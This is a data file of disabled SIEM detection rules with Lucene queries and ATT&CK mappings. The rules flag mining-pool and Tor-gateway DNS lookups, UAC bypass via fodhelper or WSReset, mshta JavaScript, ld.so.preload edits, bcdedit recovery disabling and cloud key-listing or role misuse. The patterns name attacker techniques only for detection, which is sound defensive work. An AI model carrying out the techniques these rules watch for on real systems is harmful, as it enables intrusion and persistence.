{"description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", "enabled": false, "false_positives": ["A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'."], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "eb014e62-fcee-bb6d-baf0-e1d416de7e54", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "DNS Events Related To Mining Pools", "query": "(event.dataset:\"dns\" AND dns.question.name:(*monerohash.com OR *do\\-dear.com OR *xmrminerpro.com OR *secumine.net OR *xmrpool.com OR *minexmr.org OR *hashanywhere.com OR *xmrget.com OR *mininglottery.eu OR *minergate.com OR *moriaxmr.com OR *multipooler.com OR *moneropools.com OR *xmrpool.eu OR *coolmining.club OR *supportxmr.com OR *minexmr.com OR *hashvault.pro OR *xmrpool.net OR *crypto\\-pool.fr OR *xmr.pt OR *miner.rocks OR *walpool.com OR *herominers.com OR *gntl.co.uk OR *semipool.com OR *coinfoundry.org OR *cryptoknight.cc OR *fairhash.org OR *baikalmine.com OR *tubepool.xyz OR *fairpool.xyz OR *asiapool.io OR *coinpoolit.webhop.me OR *nanopool.org OR *moneropool.com OR *miner.center OR *prohash.net OR *poolto.be OR *cryptoescrow.eu OR *monerominers.net OR *cryptonotepool.org OR *extrmepool.org OR *webcoin.me OR *kippo.eu OR *hashinvest.ws OR *monero.farm OR *linux\\-repository\\-updates.com OR *1gh.com OR *dwarfpool.com OR *hash\\-to\\-coins.com OR *pool\\-proxy.com OR *hashfor.cash OR *fairpool.cloud OR *litecoinpool.org OR *mineshaft.ml OR *abcxyz.stream OR *moneropool.ru OR *cryptonotepool.org.uk OR *extremepool.org OR *extremehash.com OR *hashinvest.net OR *unipool.pro OR *crypto\\-pools.org OR *monero.net OR *backup\\-pool.com OR *mooo.com OR *freeyy.me OR *cryptonight.net OR *shscrypto.net) AND (NOT ((dns.answers.name.text:(\"127.0.0.1\" OR \"0.0.0.0\")) OR (dns.rejected.text:\"true\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1496", "T1569"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Saw Winn Naung", "Azure-Sentinel", "@neu5ron"], "license": ""}
{"description": "Identifies creation of local users via the net.exe command.", "enabled": false, "false_positives": ["Legitimate user creation.", "Better use event IDs for user creation rather than command line rules."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f37f9e4-4df7-87b7-434f-b31ed173930a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Net.exe User Account Creation", "query": "(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*user* AND process.command_line:*add*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Endgame", "JHasenbusch (adapted to Sigma for oscd.community)"], "license": ""}
{"description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.", "enabled": false, "false_positives": ["System Administrator Activities", "DEV, UAT, SAT environment. You should apply this rule with PROD account only."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "69a272b2-c3d3-6e70-7cb2-a4d89e323b16", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS EC2 Disable EBS Encryption", "query": "(eventSource:\"ec2.amazonaws.com\" AND eventName:\"DisableEbsEncryptionByDefault\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1486", "T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}, {"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", "enabled": false, "false_positives": ["Legitimate use of the utilities by legitimate user for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c4f9482f-da90-00df-223f-d97b69137bf1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Domain Trust Discovery", "query": "((process.executable.text:*\\\\nltest.exe AND process.command_line.text:(*domain_trusts* OR *all_trusts* OR *\\/trusted_domains* OR *\\/dclist*)) OR (process.executable.text:*\\\\dsquery.exe AND process.command_line.text:*trustedDomain*) OR (process.executable.text:*\\\\dsquery.exe AND process.command_line.text:*\\-filter* AND process.command_line.text:*trustedDomain*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Tony Lambert)", "oscd.community", "omkar72"], "license": ""}
{"description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", "enabled": false, "false_positives": ["Valid change"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "935bb50b-f86f-3511-e089-d5491a670c38", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Granting Of Permissions To An Account", "query": "\"Microsoft.Authorization\\/roleAssignments\\/write\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["sawwinnnaung"], "license": ""}
{"description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", "enabled": false, "false_positives": ["Valid change"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ca757106-963e-4b16-2c00-7f9de84264de", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rare Subscription-level Operations In Azure", "query": "(*Microsoft.DocumentDB\\/databaseAccounts\\/listKeys\\/action* OR *Microsoft.Maps\\/accounts\\/listKeys\\/action* OR *Microsoft.Media\\/mediaservices\\/listKeys\\/action* OR *Microsoft.CognitiveServices\\/accounts\\/listKeys\\/action* OR *Microsoft.Storage\\/storageAccounts\\/listKeys\\/action* OR *Microsoft.Compute\\/snapshots\\/write* OR *Microsoft.Network\\/networkSecurityGroups\\/write*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1003"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["sawwinnnaung"], "license": ""}
{"description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "761d2e20-1db3-e914-bc4c-29f534e00e12", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DNS TOR Proxies", "query": "(event.dataset:\"dns\" AND dns.question.name.text:(\"tor2web.org\" OR \"tor2web.com\" OR \"torlink.co\" OR \"onion.to\" OR \"onion.ink\" OR \"onion.cab\" OR \"onion.nu\" OR \"onion.link\" OR \"onion.it\" OR \"onion.city\" OR \"onion.direct\" OR \"onion.top\" OR \"onion.casa\" OR \"onion.plus\" OR \"onion.rip\" OR \"onion.dog\" OR \"tor2web.fi\" OR \"tor2web.blutmagie.de\" OR \"onion.sh\" OR \"onion.lu\" OR \"onion.pet\" OR \"t2w.pw\" OR \"tor2web.ae.org\" OR \"tor2web.io\" OR \"tor2web.xyz\" OR \"onion.lt\" OR \"s1.tor\\-gateways.de\" OR \"s2.tor\\-gateways.de\" OR \"s3.tor\\-gateways.de\" OR \"s4.tor\\-gateways.de\" OR \"s5.tor\\-gateways.de\" OR \"hiddenservice.net\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Saw Winn Naung ", "Azure-Sentinel"], "license": ""}
{"description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "cb93e87a-8c73-5487-df27-856d8f4b61eb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Modification of ld.so.preload", "query": "(type:\"PATH\" AND name:\"\\/etc\\/ld.so.preload\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Tony Lambert)", "oscd.community"], "license": ""}
{"description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", "enabled": false, "false_positives": ["Full Network Packet Capture may be done by a system or network administrator.", "If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b94316c8-4335-1f82-4196-433dd99df818", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Full Network Traffic Packet Capture", "query": "gcp.audit.method_name:(v*.Compute.PacketMirrorings.Get OR v*.Compute.PacketMirrorings.Delete OR v*.Compute.PacketMirrorings.Insert OR v*.Compute.PacketMirrorings.Patch OR v*.Compute.PacketMirrorings.List OR v*.Compute.PacketMirrorings.aggregatedList)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1074"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1074", "name": "Data Staged", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies suspicious mshta.exe commands.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4c7b5015-47d5-ba9c-7b04-25c2373a9426", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mshta JavaScript Execution", "query": "(process.executable:*\\\\mshta.exe AND process.command_line:*javascript*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Identifies the deletion of Azure Kubernetes Pods.", "enabled": false, "false_positives": ["Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e01ab26d-4da7-82b5-5606-306804dcbb19", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Pods Deleted", "query": "properties.message:\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/PODS\\/DELETE\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", "enabled": false, "false_positives": ["AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", "Automated processes that uses Terraform may lead to false positives."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "817cdc61-640b-b77e-6aa6-77a4f18a27a5", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS STS AssumeRole Misuse", "query": "(userIdentity.type:\"AssumedRole\" AND userIdentity.sessionContext.sessionIssuer.type:\"Role\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "Privilege Escalation", "T1548", "T1550", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}, {"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", "enabled": false, "false_positives": ["GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "805e7e21-e026-58c8-f40c-e3d3badeef98", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS STS GetSessionToken Misuse", "query": "(eventSource:\"sts.amazonaws.com\" AND eventName:\"GetSessionToken\" AND userIdentity.type:\"IAMUser\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "Privilege Escalation", "T1548", "T1550", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}, {"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies usage of hh.exe executing recently modified .chm files.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1eca58e8-e2ab-b3c9-3984-fd5354f79c72", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "HH.exe Execution", "query": "(process.executable:*\\\\hh.exe AND process.command_line:*.chm*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Dan Beavin)", "oscd.community"], "license": ""}
{"description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", "enabled": false, "false_positives": ["Legitimate use of fodhelper.exe utility by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "85bd5c8b-8cfe-109e-d128-4a11ca030d3f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bypass UAC via Fodhelper.exe", "query": "process.parent.executable:*\\\\fodhelper.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Tony Lambert)", "oscd.community"], "license": ""}
{"description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "042e2b90-4706-71b3-dc14-47415a4e8bfb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Modification of Boot Configuration", "query": "((process.executable:*\\\\bcdedit.exe AND process.command_line:*set*) AND ((process.command_line:*bootstatuspolicy* AND process.command_line:*ignoreallfailures*) OR (process.command_line:*recoveryenabled* AND process.command_line:*no*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", "enabled": false, "false_positives": ["Legitimate use of the system utilities to discover system time for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "30ee718c-7c6d-5a54-6f33-71f2fd02ebec", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Discovery of a System Time", "query": "((process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*time*) OR (process.executable:*\\\\w32tm.exe AND process.command_line:*tz*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1124"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1124", "name": "System Time Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Identifies use of WSReset.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "81e5876d-2364-e430-cf97-f5432abc9503", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bypass UAC via WSReset.exe", "query": "(process.parent.executable:*\\\\wsreset.exe AND (NOT (process.executable:*\\\\conhost.exe OR winlog.event_data.OriginalFileName:\"CONHOST.EXE\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Tony Lambert)", "oscd.community"], "license": ""}
{"description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "30ab3af4-1ebf-b0cb-63a7-066c4074d401", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Account Lockout", "query": "ResultType:\"50053\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["AlertIQ"], "license": ""}
{"description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", "author": ["AlertIQ"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "965f8797-987c-ef55-abe3-c08067228250", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Multifactor Authentication Interrupted", "query": "(((ResultType:\"50074\" AND ResultDescription:*Strong\\ Auth\\ required*)) OR ((ResultType:\"500121\" AND ResultDescription:*Authentication\\ failed\\ during\\ strong\\ authentication\\ request*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Identifies when a application credential is modified.", "enabled": false, "false_positives": ["Application credential added may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8f94c501-437a-3c6e-e87d-f541d3373acd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Application Credential Modified", "query": "properties.message:\"Update\\ application\\ \\-\\ Certificates\\ and\\ secrets\\ management\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a application gateway is modified or deleted.", "enabled": false, "false_positives": ["Application gateway being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d2bfe1ae-c476-0ff8-8087-1459269ef4c2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Application Gateway Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/APPLICATIONGATEWAYS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/APPLICATIONGATEWAYS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when a application is deleted in Azure.", "enabled": false, "false_positives": ["Application being deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f9a21b75-85d0-d753-2125-9c903ffe1b03", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Application Deleted", "query": "properties.message:(\"Delete\\ application\" OR \"Hard\\ Delete\\ application\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a application security group is modified or deleted.", "enabled": false, "false_positives": ["Application security group being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "40ea7008-101e-062b-16bc-d299725de3b4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Application Security Group Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/APPLICATIONSECURITYGROUPS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/APPLICATIONSECURITYGROUPS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", "author": ["Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Azure Kubernetes CronJob/Job may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8588231f-3599-7cf5-2d65-5fbc015bc2f6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes CronJob", "query": "(operationName:(MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/BATCH* OR MICROSOFT.CONTAINERSERVICE\\/MANAGEDCLUSTERS\\/BATCH*) AND operationName:(*\\/CRONJOBS\\/WRITE OR *\\/JOBS\\/WRITE))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", "enabled": false, "false_positives": ["Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1d790c9d-bbc5-030f-b5f2-707f34e81a30", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Network Policy Change", "query": "properties.message:(\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/NETWORKING.K8S.IO\\/NETWORKPOLICIES\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/NETWORKING.K8S.IO\\/NETWORKPOLICIES\\/DELETE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/EXTENSIONS\\/NETWORKPOLICIES\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/EXTENSIONS\\/NETWORKPOLICIES\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
